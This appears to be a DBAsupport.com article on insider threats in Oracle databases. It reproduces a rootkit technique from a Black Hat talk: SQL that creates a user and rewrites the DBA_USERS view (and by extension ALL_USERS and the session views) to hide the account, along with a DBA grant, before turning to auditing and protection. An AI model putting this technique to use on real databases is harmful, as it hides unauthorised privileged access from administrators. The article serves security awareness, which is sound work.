A trusting user of Oracle, DBA or otherwise, probably shouldn’t be so, well, trusting. Without extensive checking or safeguards, you really don’t know how secure or locked down user access is. How easy is it to spoof the normal checks of an account’s privileges? The answer is that it is a lot easier than you think. An excellent example of creating and then hiding a user was given in a presentation titled “Oracle Rootkits 2.0” at a Black Hat training conference by Alexander Kornbrust of Red Database Security Gmbh.

The essential part of making this happen is summarized in the code below.

SQL> conn sys/oracle as sysdba
Connected.
SQL> create user hacker identified by hacker;

User created.

SQL> select username from dba_users where username = 'HACKER';

USERNAME
---------
HACKER

SQL> @cr_user_view

View created.

SQL> select username from dba_users where username = 'HACKER';

no rows selected

The “magic” of this stems from the fact that dba_users is a view, and one of the underlying tables is sys.user$. The “cr_user_view” SQL script is nothing more than the script or source code for the dba_users view (see below) to include an extra condition: where name <> ‘HACKER’;.

CREATE OR REPLACE VIEW DBA_USERS
(USERNAME, USER_ID, PASSWORD, ACCOUNT_STATUS, LOCK_DATE, EXPIRY_DATE,   
 DEFAULT_TABLESPACE, TEMPORARY_TABLESPACE, CREATED, PROFILE, 
 INITIAL_RSRC_CONSUMER_GROUP, EXTERNAL_NAME)
AS 
select u.name, u.user#, u.password, m.status,
   decode(u.astatus, 4, u.ltime, 5, u.ltime, 6, u.ltime,  
          8, u.ltime,9, u.ltime, 10, u.ltime, to_date(NULL)),
   decode(u.astatus, 1, u.exptime, 2, u.exptime, 5, u.exptime,
          6, u.exptime, 9, u.exptime, 10, u.exptime,
          decode(u.ptime, '', to_date(NULL),
            decode(pr.limit#, 2147483647, to_date(NULL),
              decode(pr.limit#, 0,
                decode(dp.limit#, 2147483647, to_date(NULL), u.ptime +
                       dp.limit#/86400),
                 u.ptime + pr.limit#/86400)))),
   dts.name, tts.name, u.ctime, p.name,
   nvl(cgm.consumer_group, 'DEFAULT_CONSUMER_GROUP'),
   u.ext_username
   from sys.user$ u left outer join sys.resource_group_mapping$ cgm
     on (cgm.attribute = 'ORACLE_USER' and cgm.status = 'ACTIVE' and
         cgm.value = u.name),
   sys.ts$ dts, sys.ts$ tts, sys.profname$ p,
   sys.user_astatus_map m, sys.profile$ pr, sys.profile$ dp
   where u.datats# = dts.ts#
   and u.resource$ = p.profile#
   and u.tempts# = tts.ts#
   and u.astatus = m.status#
   and u.type# = 1
   and u.resource$ = pr.profile#
   and dp.profile# = 0
   and dp.type#=1
   and dp.resource#=1
   and pr.type# = 1
   and pr.resource# = 1
   and u.name <> 'HACKER'
/

Of course, the username of HACKER is in the user$ table, but who looks in the “real” tables when virtually the entire public facing data dictionary avoids the real tables?

SQL> select name from user$ where name = 'HACKER';

NAME
------
HACKER

To be thorough, our user named Hacker should also doctor up the ALL_USERS view. The screenshot from TOAD shows that adding the same “and u.name <> ‘HACKER’” clause is all that is needed.

It shouldn’t be any great surprise that if someone goes to the effort (or has the ability and wherewithal) to hide such a user account from commonly used views that the user will certainly have included a “grant dba to hacker” statement as well. Kronbrust also points out areas/views where a hacker would also want to cover his tracks with respect to processes and jobs. Four data dictionary objects that would be dummied up, so to speak, are v$session, gv_$session, flow_sessions, and v_$process.

How would (or could) you prevent a hacker or mole from entering in the first place? Part of the answer lies in limiting access to the SYS schema and auditing logons as SYS. This approach reminds me of police shows where Internal Affairs Division (IAD) investigators investigate the rank and file police force when allegations of wrongdoing are filed. Who investigates IAD investigators when they are suspected of wrongdoing? Other IAD investigators? So, short of some higher/final authority, there needs to be a level of trust among users with access to SYS (either via logon as SYS, or connecting as sysdba via an operating system account). “Trust, but verify” is probably a good rule to implement.

Another part of the answer concerns protecting or safeguarding live code and objects. How would you even begin to know or suspect if someone altered a data dictionary view? In all likelihood, you wouldn’t know until after something bad happened. It’s hard enough in a development environment to maintain source and version control over known objects and code, so it is not difficult to envision how the situation is made more cumbersome when a malicious element is involved.

There are many motives for a mole. In 2002, an employee of a racetrack betting software application made news when he “accessed a company computer after four races were complete and changed a … wager made through a former fraternity brother's telephone betting account. [The] wager had all the horses in the final two races. The plot would have netted a $3.1 million payoff to [the employee] and two colleagues had payment not been withheld because of the unusual nature of the bet.” Click here for the story and here for more about this type of problem.

Electronic voting is another area ripe for software/data manipulation. Most of the articles in this Risks Digest edition are applicable today, even though this edition is more than four years old. How much data would have to be altered to swing an election? Maybe a little or maybe a lot. The second case would probably be easier to detect, but what about a few thousand votes out of millions? 50,000 votes out of 30-plus million (think California) is only 0.167 per cent. Being satisfied with a 99% accuracy rate is not good enough. So when you factor out machine glitches, human error (misplacing records/data), faulty programming, and acts of nature, how do you protect against a trusted user/hacker/mole?

In Closing

A third world country decided to go democratic, turning to the USA for guidance. On a limited budget, it could only afford second-hand equipment and got some voting machines from the city of Chicago. With great fanfare, the country held its election, with Fyodor Guantanamo running against Kwame Santahara. The winner was ... Richard J. Daley.

In addition to “vote early and vote often on election day” fraud detection and prevention, protecting data from a mole is not just desirable, but absolutely critical. Some people already consider election officials as clowns working in a circus, but we can only begin to imagine the ramifications of the damage caused by a mole on the scale of George Smiley’s Circus. We know about the threat, we know what the potential damage can be, and we know, for the most part, what needs to be protected. Collectively, what are we doing to protect our databases? Remember, it’s not just the data, but the code behind the system that needs protection as well.

Back to DBAsupport.com